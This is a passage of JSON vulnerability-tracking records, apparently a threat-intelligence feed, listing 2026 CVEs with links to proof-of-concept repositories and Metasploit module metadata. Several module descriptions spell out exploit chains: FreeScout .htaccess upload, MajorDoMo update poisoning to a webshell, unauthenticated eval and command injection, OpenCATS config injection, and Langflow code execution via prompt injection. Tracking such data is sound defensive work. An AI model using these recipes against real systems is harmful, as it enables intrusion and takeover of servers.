CVE-2026-20841:\nWindows Notepad RCE\n4\ufe0f\u20e3  CVE-2026-20817:\nWindows Error Reporting ALPC Privilege Escalation\n5\ufe0f\u20e3  CVE-2026-25253:\nClawdbot/Moltbot/OpenClaw One-click RCE", "creation_timestamp": "2026-09-03T00:00:47.036693Z"}, {"uuid": "c810f74f-5682-4a96-b1b4-457bb1026785", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/48245", "content": "https://github.com/Semperis-Community/ResetNightmare\n\nProof-of-concept (POC) tool for ResetNightmare (CVE-2026-27912).\n\n#github #poc", "creation_timestamp": "2026-09-03T00:00:52.754214Z"}, {"uuid": "035f9f4f-8d08-41f7-b210-39067b498502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27472", "type": "published-proof-of-concept", "source": "Telegram/y_ppx2WWa40cV5hBHui4bTL2VMdA_tcaI4VaugdhOfmt8Lg", "content": "", "creation_timestamp": "2026-09-03T00:00:59.986303Z"}, {"uuid": "ed592933-b1c0-45f8-a244-46428be75239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27475", "type": "published-proof-of-concept", "source": "Telegram/y_ppx2WWa40cV5hBHui4bTL2VMdA_tcaI4VaugdhOfmt8Lg", "content": "", "creation_timestamp": "2026-09-03T00:01:00.085603Z"}, {"uuid": "387dde8c-4bab-41bd-adeb-06ac79eb1491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27474", "type": "published-proof-of-concept", "source": "Telegram/y_ppx2WWa40cV5hBHui4bTL2VMdA_tcaI4VaugdhOfmt8Lg", "content": "", "creation_timestamp": "2026-09-03T00:01:00.143458Z"}, {"uuid": "3cdb4445-7206-4927-a1a6-0d7506f9d170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27161", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/180200", "content": "How I found CVE-2026\u201327161 (Sensitive Disclosure) | Cyber Tamarin\nhttps://cybertamarin.medium.com/how-i-found-cve-2026-27161-sensitive-disclosure-cyber-tamarin-9b2e62dac238?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T01:00:04.418034Z"}, {"uuid": "9cd6bea5-6d74-4fff-bc81-bafa22daf5cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27161", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/180202", "content": "Continue reading on Medium \u00bb (https://cybertamarin.medium.com/how-i-found-cve-2026-27161-sensitive-disclosure-cyber-tamarin-9b2e62dac238?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T01:00:04.728366Z"}, {"uuid": "79ce37fa-9370-4a3f-ac6a-345c66d8da20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2763", "type": "seen", "source": "https://gist.github.com/alon710/3acd0d8a46cc6e62f0e5fb066cee0b00", "content": "# CVE-2026-2763: CVE-2026-2763: Use-After-Free in SpiderMonkey Generator for-in Loops\n\n> **CVSS Score:** 9.8\n> **Published:** 2026-02-24\n> **Full Report:** https://cvereports.com/reports/CVE-2026-2763\n\n## Summary\nA critical use-after-free vulnerability exists in the SpiderMonkey JavaScript engine of Mozilla Firefox and Thunderbird. The flaw occurs when a generator object containing an active for-in loop is garbage-collected before the loop's iterator scope is finalized. This leaves a dangling pointer in the compartment's active enumerators list, allowing attackers to corrupt memory and execute arbitrary code.\n\n## TL;DR\nA use-after-free in Mozilla's SpiderMonkey engine allows unauthenticated attackers to perform a 1-bit memory corruption, altering bytecode to achieve an out-of-bounds read/write primitive.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-416\n- **Attack Vector**: Network (Unauthenticated)\n- **CVSS v3.1 Score**: 9.8\n- **EPSS Score**: 0.00469\n- **Exploit Status**: Proof-of-Concept\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- Mozilla Firefox\n- Mozilla Firefox ESR\n- Mozilla Thunderbird\n- Mozilla Thunderbird ESR\n- **Firefox**: < 148 (Fixed in: `148`)\n- **Firefox ESR**: < 115.33 (Fixed in: `115.33`)\n- **Firefox ESR**: < 140.8 (Fixed in: `140.8`)\n- **Thunderbird**: < 148 (Fixed in: `148`)\n- **Thunderbird ESR**: < 140.8 (Fixed in: `140.8`)\n\n## Mitigation\n\n- Upgrade to Firefox 148, ESR 115.33, ESR 140.8, or Thunderbird equivalents.\n- Apply sandboxing to isolate browser processes.\n- Disable or restrict JIT optimization in high-risk environments.\n\n**Remediation Steps:**\n1. Identify all systems running vulnerable Firefox or Thunderbird versions.\n2. Deploy the latest vendor patches (v148 or respective ESR updates).\n3. Verify that the installed application binaries match the patched versions.\n\n## References\n\n- [Mozilla Foundation Security Advisory (Firefox ESR 115.33)](https://www.mozilla.org/security/advisories/mfsa2026-13/)\n- [Mozilla Foundation Security Advisory (Firefox 148)](https://www.mozilla.org/security/advisories/mfsa2026-15/)\n- [Mozilla Bugzilla Bug 2012018](https://bugzilla.mozilla.org/show_bug.cgi?id=2012018)\n- [Public Proof of Concept Repository](https://github.com/ppwwiinn/CVE-2026-2763-POC)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-2763) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-09-03T10:32:33.757477Z"}, {"uuid": "344731ea-3ebc-47ad-8d4d-5a0e2e07581d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27161", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/180202", "content": "Continue reading on Medium \u00bb (https://cybertamarin.medium.com/how-i-found-cve-2026-27161-sensitive-disclosure-cyber-tamarin-9b2e62dac238?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:01:07.235663Z"}, {"uuid": "d3aa3ffa-cea6-4002-8ed9-74c04a9932cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27161", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/180200", "content": "How I found CVE-2026\u201327161 (Sensitive Disclosure) | Cyber Tamarin\nhttps://cybertamarin.medium.com/how-i-found-cve-2026-27161-sensitive-disclosure-cyber-tamarin-9b2e62dac238?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:01:06.896219Z"}, {"uuid": "2414e477-4ec1-4405-9c45-2a7fedc92c74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27690", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mup2w7eaps2r", "content": "\u300cSAP\u300d\u304c\u6708\u4f8b\u66f4\u65b0\u300116\u4ef6\u306e\u65b0\u898f\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea - 3\u4ef6\u304c\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u300d\nSAP\u306f\u73fe\u5730\u6642\u95932026\u5e747\u670814\u65e5\u3001\u3042\u3089\u305f\u306b16\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u305f\u3002\n\n\u5404\u793e\u304c\u5b9a\u4f8b\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3059\u308b\u7c73\u6642\u9593\u6bce\u6708\u7b2c2\u706b\u66dc\u65e5\u3001\u3044\u308f\u3086\u308b\u300c\u30d1\u30c3\u30c1\u30c1\u30e5\u30fc\u30ba\u30c7\u30fc\u300d\u306b\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea16\u4ef6\u3092\u516c\u958b\u3057\u3001\u8106\u5f31\u602718\u4ef6\u3078\u5bfe\u5fdc\u3057...\n\n\u300cSAP NetWeaver Application Server ABAP\u300d\u3067\u306f\u3001\u30e1\u30e2\u30ea\u7834\u58ca\u306e\u8106\u5f31\u6027\u300cCVE-2026-44747\u300d\u304c\u5224\u660e\u3002\u300cSAP Approuter\u300d\u306b\u304a\u3044\u3066HTTP\u30ea\u30af\u30a8\u30b9\u30c8\u30b9\u30de\u30b0\u30ea\u30f3\u30b0\u306e\u8106\u5f31\u6027\u300cCVE-2026-27690\u300d\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u3066\u3044\u308b\u3002", "creation_timestamp": "2026-09-04T13:26:49.113345Z"}, {"uuid": "1eceaba7-f0b4-4815-bd13-8aa9bb986e4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27938", "type": "seen", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "creation_timestamp": "2026-09-05T07:00:03.810360Z"}, {"uuid": "83150d76-4111-479f-b6b5-c4027eec2f65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27701", "type": "seen", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "creation_timestamp": "2026-09-05T07:00:04.079335Z"}, {"uuid": "f9dfe931-8311-4c3c-a916-8bfd302a36d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27941", "type": "published-proof-of-concept", "source": "Telegram/YJsowlW547t1nz_VQFuE816o5aakA7dg24Hd3X_oXjq4JUg", "content": "", "creation_timestamp": "2026-09-05T13:00:04.329797Z"}, {"uuid": "7ca5bb52-9b0d-4fac-b486-ad8e94676c77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27941", "type": "published-proof-of-concept", "source": "Telegram/YJsowlW547t1nz_VQFuE816o5aakA7dg24Hd3X_oXjq4JUg", "content": "", "creation_timestamp": "2026-09-06T00:00:45.721071Z"}, {"uuid": "0bb80770-110e-4c3e-b607-b06f40daeed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27701", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "creation_timestamp": "2026-09-06T00:00:53.452785Z"}, {"uuid": "b7e38d0f-0049-4d83-a807-9b10050da731", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27938", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "creation_timestamp": "2026-09-06T00:00:53.588657Z"}, {"uuid": "b0753462-4b32-487c-b746-7c1b6de905c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101307", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27876\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a atiilla\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 23:50:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nGrafana SQL Expressions Arbitrary File Write to RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-06T01:00:05.407156Z"}, {"uuid": "2ce8db43-af7e-4309-bf41-763cca1a3d86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "creation_timestamp": "2026-09-06T12:00:06.559172Z"}, {"uuid": "976237aa-e7cd-4b44-be18-214ab51e2cdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27641", "type": "seen", "source": "Telegram/XELY7yMiVU7lDAG5jTnGWxzdDQm-g3hGd-rJzK0iCImTLgM", "content": "", "creation_timestamp": "2026-09-06T15:00:04.189781Z"}, {"uuid": "957451c9-1580-4ac9-900f-204af8f28a2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27641", "type": "seen", "source": "Telegram/XELY7yMiVU7lDAG5jTnGWxzdDQm-g3hGd-rJzK0iCImTLgM", "content": "", "creation_timestamp": "2026-09-07T01:00:12.327710Z"}, {"uuid": "45c2df41-4a97-4e66-ba4e-e5a82877af18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "creation_timestamp": "2026-09-07T01:00:15.746020Z"}, {"uuid": "707c65f4-9842-48a5-aa10-80a84f4e3fb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://infosec.exchange/users/0patch/statuses/117229890568235575", "content": "Micropatches released for \"ResetNightmare\" Windows Kerberos Elevation of Privilege (CVE-2026-27912) https://0patch.com/blog/micropatches-released-for-resetnightmare-windows-kerberos-elevation-of-privilege", "creation_timestamp": "2026-09-07T13:02:52.792790Z"}, {"uuid": "524a0147-f9e8-4d76-9132-4b21177e509c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/freescout_htaccess_rce.rb", "content": "{\"aliases\": [], \"arch\": \"php, cmd, x86, x64\", \"author\": [\"offensiveee\", \"Nir Zadok (nirzadokox) \", \"Moses Bhardwaj (MosesOX) \", \"Valentin Lobstein \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443, 25, 465, 587, 2525, 25025, 25000], \"autofilter_services\": [\"http\", \"https\", \"smtp\", \"smtps\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unauthenticated remote code execution vulnerability\\n          in FreeScout <= 1.8.206 (CVE-2026-28289). The sanitizeUploadedFileName()\\n          function checks for dot-prefixed filenames before stripping Unicode format\\n          characters (ZWSP U+200B), allowing .htaccess upload via email attachment.\\n\\n          A crafted email is sent via SMTP to a FreeScout mailbox. When fetched by\\n          the IMAP/POP3 cron (typically every 60s), the ZWSP is stripped and the\\n          attachment is stored as .htaccess. The file uses SetHandler to make itself\\n          executable as PHP, achieving code execution when requested via HTTP.\\n\\n          Requires a valid mailbox email address and web-accessible attachment\\n          storage (storage:link pointing to storage/app/).\", \"disclosure_date\": \"2026-03-01\", \"fullname\": \"exploit/multi/http/freescout_htaccess_rce\", \"is_install_path\": true, \"mod_time\": \"2026-04-02 17:30:43 +0000\", \"name\": \"FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass\", \"needs_cleanup\": null, \"notes\": {\"AKA\": [\"Mail2Shell\"], \"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/freescout_htaccess_rce.rb\", \"platform\": \"Linux,PHP,Unix,Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/freescout_htaccess_rce\", \"references\": [\"CVE-2026-28289\", \"CVE-2026-27636\", \"GHSA-5gpc-65p8-ffwp\", \"GHSA-mw88-x7j3-74vc\", \"URL-https://www.ox.security/blog/freescout-rce-cve-2026-28289/\", \"URL-https://www.ox.security/blog/freescout-rce-cve-2026-27636/\"], \"rport\": 25, \"session_types\": false, \"targets\": [\"PHP In-Memory\", \"Unix/Linux Command Shell\", \"Linux Dropper\", \"Windows Command Shell\", \"Windows Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:47.308968Z"}, {"uuid": "a664c26e-005c-4cdf-a18c-f50724e46cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_rce_cve_2026_27966.rb", "content": "{\"aliases\": [], \"arch\": \"cmd, python\", \"author\": [\"weblover12\", \"Takahiro Yokoyama\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"The CSV Agent node in Langflow hardcodes allow_dangerous_code=True, which automatically exposes LangChain's Python REPL tool (python_repl_ast).\\n          As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE).\", \"disclosure_date\": \"2026-02-25\", \"fullname\": \"exploit/multi/http/langflow_rce_cve_2026_27966\", \"is_install_path\": true, \"mod_time\": \"2026-04-18 12:56:53 +0000\", \"name\": \"Langflow RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/langflow_rce_cve_2026_27966.rb\", \"platform\": \"Linux,Python,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/langflow_rce_cve_2026_27966\", \"references\": [\"CVE-2026-27966\", \"GHSA-3645-fxcv-hqr4\"], \"rport\": 7860, \"session_types\": false, \"targets\": [\"Linux Command\", \"Python payload\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:00.211300Z"}, {"uuid": "df20413b-9eb0-4cca-aff3-28e0459db067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27180", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/majordomo_supply_chain_rce.rb", "content": "{\"aliases\": [], \"arch\": \"php, cmd\", \"author\": [\"Valentin Lobstein \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unauthenticated remote code execution vulnerability in\\n          MajorDoMo's saverestore module via supply chain poisoning. The saverestore module's\\n          admin() method is reachable without authentication through the /objects/?module=saverestore\\n          endpoint because usual() calls admin() directly and uses gr() (which reads from $_REQUEST)\\n          instead of $this->mode for mode checks.\\n\\n          Two unauthenticated GET requests chain together for full RCE:\\n          1. auto_update_settings - poisons the MASTER_UPDATE_URL to point to an attacker-controlled server\\n          2. force_update - triggers autoUpdateSystem() which fetches an Atom feed and tarball from the\\n          poisoned URL, extracts the tarball, and copies all files to the webroot via copyTree()\\n\\n          The tarball is downloaded via curl with CURLOPT_SSL_VERIFYPEER set to FALSE and no integrity\\n          check. The attacker serves a fake Atom feed with an entry older than the configured delay\\n          (default 1 day) and a tarball containing a PHP webshell. After deployment, the module\\n          executes the payload through the webshell.\\n\\n          All versions of MajorDoMo up to and including the latest release are affected.\\n          The fix is tracked in PR sergejey/majordomo#1177.\", \"disclosure_date\": \"2026-02-18\", \"fullname\": \"exploit/multi/http/majordomo_supply_chain_rce\", \"is_install_path\": true, \"mod_time\": \"2026-02-27 14:42:00 +0000\", \"name\": \"MajorDoMo Supply Chain RCE via Update Poisoning\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/majordomo_supply_chain_rce.rb\", \"platform\": \"Linux,PHP,Unix,Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/majordomo_supply_chain_rce\", \"references\": [\"CVE-2026-27180\", \"URL-https://chocapikk.com/posts/2026/majordomo-revisited/\", \"URL-https://github.com/sergejey/majordomo/pull/1177\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"PHP In-Memory\", \"Unix/Linux Command Shell\", \"Windows Command Shell\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:01.363094Z"}, {"uuid": "b58a91b8-8131-4748-ba90-9d0ffac3b201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27175", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/majordomo_cmd_injection_rce.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Valentin Lobstein \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unauthenticated command injection vulnerability in MajorDoMo's\\n          remote command handler (rc/index.php). The param parameter is interpolated into double\\n          quotes without escapeshellarg(), and the resulting string is passed to safe_exec() which\\n          inserts it into the safe_execs database table with no sanitization.\\n\\n          The cycle_execs.php worker script is web-accessible without authentication. On startup it\\n          purges the safe_execs queue, then enters an infinite loop polling the table every second\\n          and passing each command to exec(). A race condition is required: the worker must be\\n          started first (which purges existing entries), then the injection is performed while the\\n          worker is polling. The next iteration picks up and executes the attacker's payload.\\n\\n          The command parameter must reference a valid .bat file in rc/commands/. The default\\n          MajorDoMo installation ships with shutdown.bat, displayon.bat, and displayoff.bat.\\n\\n          All versions of MajorDoMo up to and including the latest release are affected.\\n          The fix is tracked in PR sergejey/majordomo#1177.\", \"disclosure_date\": \"2026-02-18\", \"fullname\": \"exploit/multi/http/majordomo_cmd_injection_rce\", \"is_install_path\": true, \"mod_time\": \"2026-02-27 14:42:00 +0000\", \"name\": \"MajorDoMo Remote Command Injection via cycle_execs Race Condition\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/majordomo_cmd_injection_rce.rb\", \"platform\": \"Linux,Unix,Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/majordomo_cmd_injection_rce\", \"references\": [\"CVE-2026-27175\", \"URL-https://chocapikk.com/posts/2026/majordomo-revisited/\", \"URL-https://github.com/sergejey/majordomo/pull/1177\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Unix/Linux Command Shell\", \"Windows Command Shell\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:01.192012Z"}, {"uuid": "67fc4df5-32d9-4009-bcae-31fc2f01a04b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/majordomo_console_eval_rce.rb", "content": "{\"aliases\": [], \"arch\": \"php, cmd\", \"author\": [\"Valentin Lobstein \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unauthenticated remote code execution vulnerability in\\n          MajorDoMo, an open-source home automation platform. The admin panel's PHP console\\n          is accessible without authentication due to a missing exit after redirect in\\n          modules/panel.class.php. The redirect(\\\"/\\\") call intended to block unauthenticated\\n          users lacks an exit statement, so execution continues into the ajax panel handler\\n          which includes inc_panel_ajax.php unconditionally. Inside, the console handler\\n          passes the user-supplied command parameter directly to eval() via the evalConsole()\\n          function. The command, ajax_panel, and op parameters are all controllable via GET\\n          request through MajorDoMo's register_globals-style gr() function.\\n\\n          This results in unauthenticated PHP code evaluation via a single GET request\\n          to /admin.php.\\n\\n          All versions of MajorDoMo up to and including the latest release are affected.\\n          The fix is tracked in PR sergejey/majordomo#1177.\", \"disclosure_date\": \"2026-02-18\", \"fullname\": \"exploit/multi/http/majordomo_console_eval_rce\", \"is_install_path\": true, \"mod_time\": \"2026-02-21 08:34:31 +0000\", \"name\": \"MajorDoMo Console Eval Unauthenticated RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/majordomo_console_eval_rce.rb\", \"platform\": \"Linux,PHP,Unix,Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/majordomo_console_eval_rce\", \"references\": [\"CVE-2026-27174\", \"URL-https://chocapikk.com/posts/2026/majordomo-revisited/\", \"URL-https://github.com/sergejey/majordomo/pull/1177\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"PHP In-Memory\", \"Unix/Linux Command Shell\", \"Windows Command Shell\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:01.285307Z"}, {"uuid": "ed68d8d5-1bf5-4c56-a40c-15a8d811955f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27760", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/opencats_installer_rce.rb", "content": "{\"aliases\": [], \"arch\": \"php, cmd, x64, x86, aarch64\", \"author\": [\"Chocapikk\", \"stlthr4k3r\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unauthenticated PHP code injection in the OpenCATS\\n          installer AJAX endpoint (CVE-2026-27760).\\n\\n          The databaseConnectivity action passes the user POST parameter directly to\\n          changeConfigSetting(), which interpolates it into a define() statement in\\n          config.php without any sanitization. This only works when the installation\\n          wizard was never completed, meaning the INSTALL_BLOCK file is absent.\\n\\n          The exploit injects an eval() backdoor into config.php, probes until the\\n          injected code is live (handles OPcache revalidation transparently), triggers\\n          the payload via index.php, and then restores config.php.\", \"disclosure_date\": \"2026-04-28\", \"fullname\": \"exploit/multi/http/opencats_installer_rce\", \"is_install_path\": true, \"mod_time\": \"2026-08-03 17:18:13 +0000\", \"name\": \"OpenCATS Installer PHP Code Injection\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\", \"config-changes\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/opencats_installer_rce.rb\", \"platform\": \"Linux,PHP,Unix,Windows\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"multi/http/opencats_installer_rce\", \"references\": [\"CVE-2026-27760\", \"URL-https://chocapikk.com/posts/2026/opencats-installer-rce/\", \"URL-https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"PHP In-Memory\", \"Unix/Linux Command\", \"Windows Command\", \"Linux Dropper\", \"Windows Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": 